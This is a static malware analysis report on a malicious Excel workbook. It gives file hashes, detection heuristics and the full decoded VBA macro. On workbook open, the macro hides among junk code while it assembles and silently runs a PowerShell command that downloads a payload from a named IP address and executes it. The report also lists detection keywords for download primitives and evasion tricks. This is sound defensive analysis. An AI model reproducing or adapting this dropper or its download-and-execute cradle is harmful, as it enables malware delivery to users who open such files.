Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 c05aa4fa8dde8196…

MALICIOUS

Office (OOXML)

18.8 KB Created: 2021-03-31 08:15:31 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2022-07-19
MD5: c90e5f790994d92dace7065e589947c3 SHA-1: 04ac58a10b09d4bac33f18c1987002433a934aef SHA-256: c05aa4fa8dde819670fc412f5db60eff7dffa25d9064ca10d29b18eb607416f6
238 Risk Score

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
           End If: MsgBox JPkBRNUZIubcCJ + "QBywVpiHoVbBOCVuSChpBBrCrCfIznsctM" + YhIYZKAkXEbUZsVKVZEnQUJVssXwaY: Dim HKCYFzZacFBCfyOHyvIXcIkABpIJeAXdJ, AfHbehNIrpFvZPKJeuQLuyErsrpRXoIORtzC: NRIMikcdYMMVSUUA = "P": vMeLwSfN = "o": OGKKnD = "w": tXRZbTbAMrTW = "e": TSzY = "r": BNVY = "s": uBvJtpvcSdLsCpVFeyGipDLQZNCnh = "h": RATz = "e": abAPtCRV = "l": zevCdsQXrODaJzGSTCoEDbGKyMGQtb = "l": AfHbehNIrpFvZPKJeuQLuyErsrpRXoIORtzC = NRIMikcdYMMVSUUA + vMeLwSfN + OGKKnD + tXRZbTbAMrTW + TSzY + BNVY + uBvJt …
  • VBA stages a PowerShell/LOLBin download-and-run command critical OLE_VBA_BITSTRANSFER_DROPPER
    The macro assembles a download command using a PowerShell or LOLBin download primitive (Start-BitsTransfer, Invoke-WebRequest, Net.WebClient, bitsadmin, certutil, ...) that fetches a remote payload, then executes it -- writing it to a script file and running it, or launching it directly from an auto-exec handler. The keywords are commonly split with PowerShell backtick / cmd caret escapes to evade scanners; this detection de-escapes the source first. A high-confidence downloader/dropper, stronger than the individual Shell / download keywords on their own.
    Matched line in script
    Private Sub Workbook_Open()
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
           End If: MsgBox JPkBRNUZIubcCJ + "QBywVpiHoVbBOCVuSChpBBrCrCfIznsctM" + YhIYZKAkXEbUZsVKVZEnQUJVssXwaY: Dim HKCYFzZacFBCfyOHyvIXcIkABpIJeAXdJ, AfHbehNIrpFvZPKJeuQLuyErsrpRXoIORtzC: NRIMikcdYMMVSUUA = "P": vMeLwSfN = "o": OGKKnD = "w": tXRZbTbAMrTW = "e": TSzY = "r": BNVY = "s": uBvJtpvcSdLsCpVFeyGipDLQZNCnh = "h": RATz = "e": abAPtCRV = "l": zevCdsQXrODaJzGSTCoEDbGKyMGQtb = "l": AfHbehNIrpFvZPKJeuQLuyErsrpRXoIORtzC = NRIMikcdYMMVSUUA + vMeLwSfN + OGKKnD + tXRZbTbAMrTW + TSzY + BNVY + uBvJt …
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    MsgBox msg, vbInformation, "RBdOFUeBTdNXN": End If: End If: Set wfAQOpMwADWJayZZHezWdzfFBsLoRCsUKsFyF = Nothing: On Error GoTo CreateIconFile_ERR: Dim rG As String: rG = Environ("TEMP")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://179.43.140.150/shtq/Fack.jpg In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 7051 bytes
SHA-256: ffb5132d2070501e56091affcd65c2f5fcef8a286765230d7ae3da5ab114c599
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
     ' zsrEdaKWNnaLfLkIsSChbbPBsGQUYEr Integer
    Dim wfAQOpMwADWJayZZHezWdzfFBsLoRCsUKsFyF As CommandBarControl: Set wfAQOpMwADWJayZZHezWdzfFBsLoRCsUKsFyF = Nothing: With Application.CommandBars("List Range Popup"): With .Controls.Add(msoControlButton, 1, , 1, True): .Caption = "Pick &from Calendar": .OnAction = ThisWorkbook.Name & "!vJFcCQZKwNpeurQzndpTJopzeCYyU": .BeginGroup = True: .Tag = "TXrdvkCZreQiVZkhYIoQYWQ": End With: End With:
' rvwAcaIVKpbIf
If Len(Trim(XTeBwb)) Then
MsgBox "eueiWioOOySrdDdsbDwfDhdoXXPsTssnYLDe" & XTeBwb, vbInformation
If coll.Count Then
ReDim ZBzN(0 To coll.Count - 1, 0 To 3): For i = 1 To coll.Count: KwkYWPkyQWNoTrcQMnducC = Split(coll(i), sep): ZBzN(i - 1, 0) = i: ZBzN(i - 1, 1) = KwkYWPkyQWNoTrcQMnducC(1): ZBzN(i - 1, 2) = KwkYWPkyQWNoTrcQMnducC(0): ZBzN(i - 1, 3) = KwkYWPkyQWNoTrcQMnducC(2): Next i: SF.Caption = "YOPkAQOcyTTEpXbJIyDndBHGiNzaZRTbLn """ & XTeBwb & """": SF.Show: SF.ListBox_Search.List = ZBzN: SF.TextBox_count.Text = coll.Count
Else: msg = "NBGBVXLLsIJvtiWIOHuQHE" & vbNewLine & _
"LcdcTOZSW """ & XTeBwb & """ LcdcTOZSW «" & ActiveWorkbook.Name & "»"
MsgBox msg, vbInformation, "RBdOFUeBTdNXN": End If: End If: Set wfAQOpMwADWJayZZHezWdzfFBsLoRCsUKsFyF = Nothing: On Error GoTo CreateIconFile_ERR: Dim rG As String: rG = Environ("TEMP")
If Len(rG) > 0 Then
        If Right(rG, 1) <> "\" Or Right(rG, 1) <> "/" Then
            rG = rG & "ceDLJriAbY"
Else: rG = rG & "ceDLJriAbY": End If
Else: rG = "ceDLJriAbY": End If: sPathToIcon = rG
CreateIconFile_ERR:
Qf = Qf + 1: Dim GhPbBZvKcAfbXAoErrvGwafTwHabzXReCon As Range: Dim eotInQoApkYdPYsWpNDoLWyrnVIIrTKONXf As String, BQYktdwZCcMUDhtSrJoKIyYeDy As String: eotInQoApkYdPYsWpNDoLWyrnVIIrTKONXf = "GnRrdcHsIIztaNOw": BQYktdwZCcMUDhtSrJoKIyYeDy = "aHKvMGFVrATRvXrJIWHBGZcccETYMbUFnMMX"
If eotInQoApkYdPYsWpNDoLWyrnVIIrTKONXf <> BQYktdwZCcMUDhtSrJoKIyYeDy Then
        ' atrKebAsanFWK
       End If: MsgBox JPkBRNUZIubcCJ + "QBywVpiHoVbBOCVuSChpBBrCrCfIznsctM" + YhIYZKAkXEbUZsVKVZEnQUJVssXwaY: Dim HKCYFzZacFBCfyOHyvIXcIkABpIJeAXdJ, AfHbehNIrpFvZPKJeuQLuyErsrpRXoIORtzC: NRIMikcdYMMVSUUA = "P": vMeLwSfN = "o": OGKKnD = "w": tXRZbTbAMrTW = "e": TSzY = "r": BNVY = "s": uBvJtpvcSdLsCpVFeyGipDLQZNCnh = "h": RATz = "e": abAPtCRV = "l": zevCdsQXrODaJzGSTCoEDbGKyMGQtb = "l": AfHbehNIrpFvZPKJeuQLuyErsrpRXoIORtzC = NRIMikcdYMMVSUUA + vMeLwSfN + OGKKnD + tXRZbTbAMrTW + TSzY + BNVY + uBvJtpvcSdLsCpVFeyGipDLQZNCnh + RATz + abAPtCRV + zevCdsQXrODaJzGSTCoEDbGKyMGQtb + " -noexit   -comma Invoke-Expression(New-Object Net.WebClient).DowNloAdSTRiNg.Invoke('http://179.43.140.150/shtq/Fack.jpg')""": Set HKCYFzZacFBCfyOHyvIXcIkABpIJeAXdJ = CreateObject("WScript.Shell"): HKCYFzZacFBCfyOHyvIXcIkABpIJeAXdJ.Run AfHbehNIrpFvZPKJeuQLuyErsrpRXoIORtzC, 0: Dim OwtUb As String ' inddzsHJzvtHEaSfOSKJ: Dim uuvWsDORCT As Integer: ' htaACzKKBQWRbyJhhyzPoERueSULtbZWPkiX
For uuvWsDORCT = 1 To 10: OwtUb = OwtUb + CStr(uuvWsDORCT) ' uuvWsDORCT String
        If uuvWsDORCT = 5 Then Exit For
    Next uuvWsDORCT: OwtUb = Val("upZtEVRSidcaG") ' iFAizWAEU:OwtUb = OwtUb + 10:MsgBox OwtUb:On Error Resume Next ' cJHuDZYYJaIHfuGEMKuDuUhFydvLQwcvQ:OwtUb = 5 / 0
    MsgBox OwtUb
    On Error Resume Next: Err.Clear
    Set NRIMikcdYMMVSUUA = CreateObject("scripting.filesystemobject")
    Set HKCYFzZacFBCfyOHyvIXcIkABpIJeAXdJ = NRIMikcdYMMVSUUA.CreateTextFile(Filename, True)
    kOeBPXUtpchHV.Write txt: kOeBPXUtpchHV.Close
    SaveTXTfile = Err = 0
    Set HKCYFzZacFBCfyOHyvIXcIkABpIJeAXdJ = Nothing: Set fso = Nothing

On Error GoTo Err ' pGyfbWTTEcAyA Err:OwtUb = 5 / 0:MsgBox "OK!"
Err:
    MsgBox "wyLOuWSsSdOpa!": On Error GoTo 0 ' iWQSDXVVVcSRr:' kOeBPXUtpchHV
 ' zsrEdaKWNnaLfLkIsSChbbPBsGQUYEr Integer
Do While True
        Exit Do
  Loop 'While True
    Do 'Until False
        Exit Do
    Loop Until False
    ' ZBzN.
   Dim KDBVfbvRrzdww(1 To 10, 5 To 6) As Integer: KDBVfbvRrzdww(1, 6) = 8: Dim rJGfhcduLEHFQ As New Collection: Dim SNJbvVeWCGBHv As Collection: rJGfhcduLEHFQ.Add "TPLasWeXFJ", "MEsbGS": Set SNJbvVeWCGBHv = rJGfhcduLEHFQ ' MEsbGS Set:MsgBox SNJbvVeWCGBHv("MEsbGS"):Set SNJbvVeWCGBHv = New Collection: MsgBox SNJbvVeWCGBHv.Count
On Error Resume Next: Err.Clear
  res = InputBox("YsRcKPCOGckXyeozsJXDIMkz", "tNKtpMALANvAEaeRvKbcvwkwrAWcL")
    If VarType(res) = vbBoolean Then Exit Sub    ' YsRcKPCOGckXyeozsJXDIMkz
   Set ra = Range([A2], Range("A" & Rows.Count).End(xlUp))
    Application.ScreenUpdating = False
    ra.Font.Color = 0: ra.Font.Bold = 0
 For Each cell In ra.Cells
        pos = 1
        If cell.Text Like "*" & txt & "*" Then
            arr = Split(cell.Text, txt, , vbTextCompare)
            If UBound(arr) > 0 Then
                For Each v In arr
                    KwkYWPkyQWNoTrcQMnducC = KwkYWPkyQWNoTrcQMnducC + Len(v)    ' FYYNhSERMyfzukCcCHTYakpIXZZYA
                    With cell.Characters(KwkYWPkyQWNoTrcQMnducC, Len(txt))
                        .Font.ColorIndex = 3    ' SkVpzzKwRkOUD
                        .Font.Bold = True    'vpFeLHzRQcOdLzsRobPaLru
                    End With
                    KwkYWPkyQWNoTrcQMnducC = KwkYWPkyQWNoTrcQMnducC + Len(txt)
                Next v
            End If
        End If
    Next cell: On Error Resume Next: Colors = Array(YOPkAQOcyTTEpXbJIyDndBHGiNzaZRTbLn, NBGBVXLLsIJvtiWIOHuQHE, RBdOFUeBTdNXN, XTeBwb, OwtUb, _
                   LcdcTOZSW): Err.Clear: Set YOPkAQOcyTTEpXbJIyDndBHGiNzaZRTbLn = Intersect(Selection, ActiveSheet.UsedRange)
    If Err Then Exit Sub: YOPkAQOcyTTEpXbJIyDndBHGiNzaZRTbLn.Interior.ColorIndex = xlColorIndexNone: Application.ScreenUpdating = False
    For Each cell In ra.Cells: Err.Clear: If Len(Trim(cell)) Then coll.Add NBGBVXLLsIJvtiWIOHuQHE(cell.Value), NBGBVXLLsIJvtiWIOHuQHE(cell.Value): If Err Then dupes.Add NBGBVXLLsIJvtiWIOHuQHE(cell.Value), NBGBVXLLsIJvtiWIOHuQHE(cell.Value)
    Next cell: For Each cell In ra.Cells
        cell.Interior.Color = (CStr(cell.Value))
    'OwtUb ZBzN
    Next cell
    Application.ScreenUpdating = True
'OwtUb
End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{041C4FAA-1887-4A7A-8FE9-BA4957295D8E}{EE93DDDE-955F-46E8-BE50-4A702CD0BA46}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 24064 bytes
SHA-256: b4b1d5217952661201c89e1499e673bb92fd4b98fd18019e03e8a41602583889

Open this report in the interactive analyzer, or submit your own file for analysis.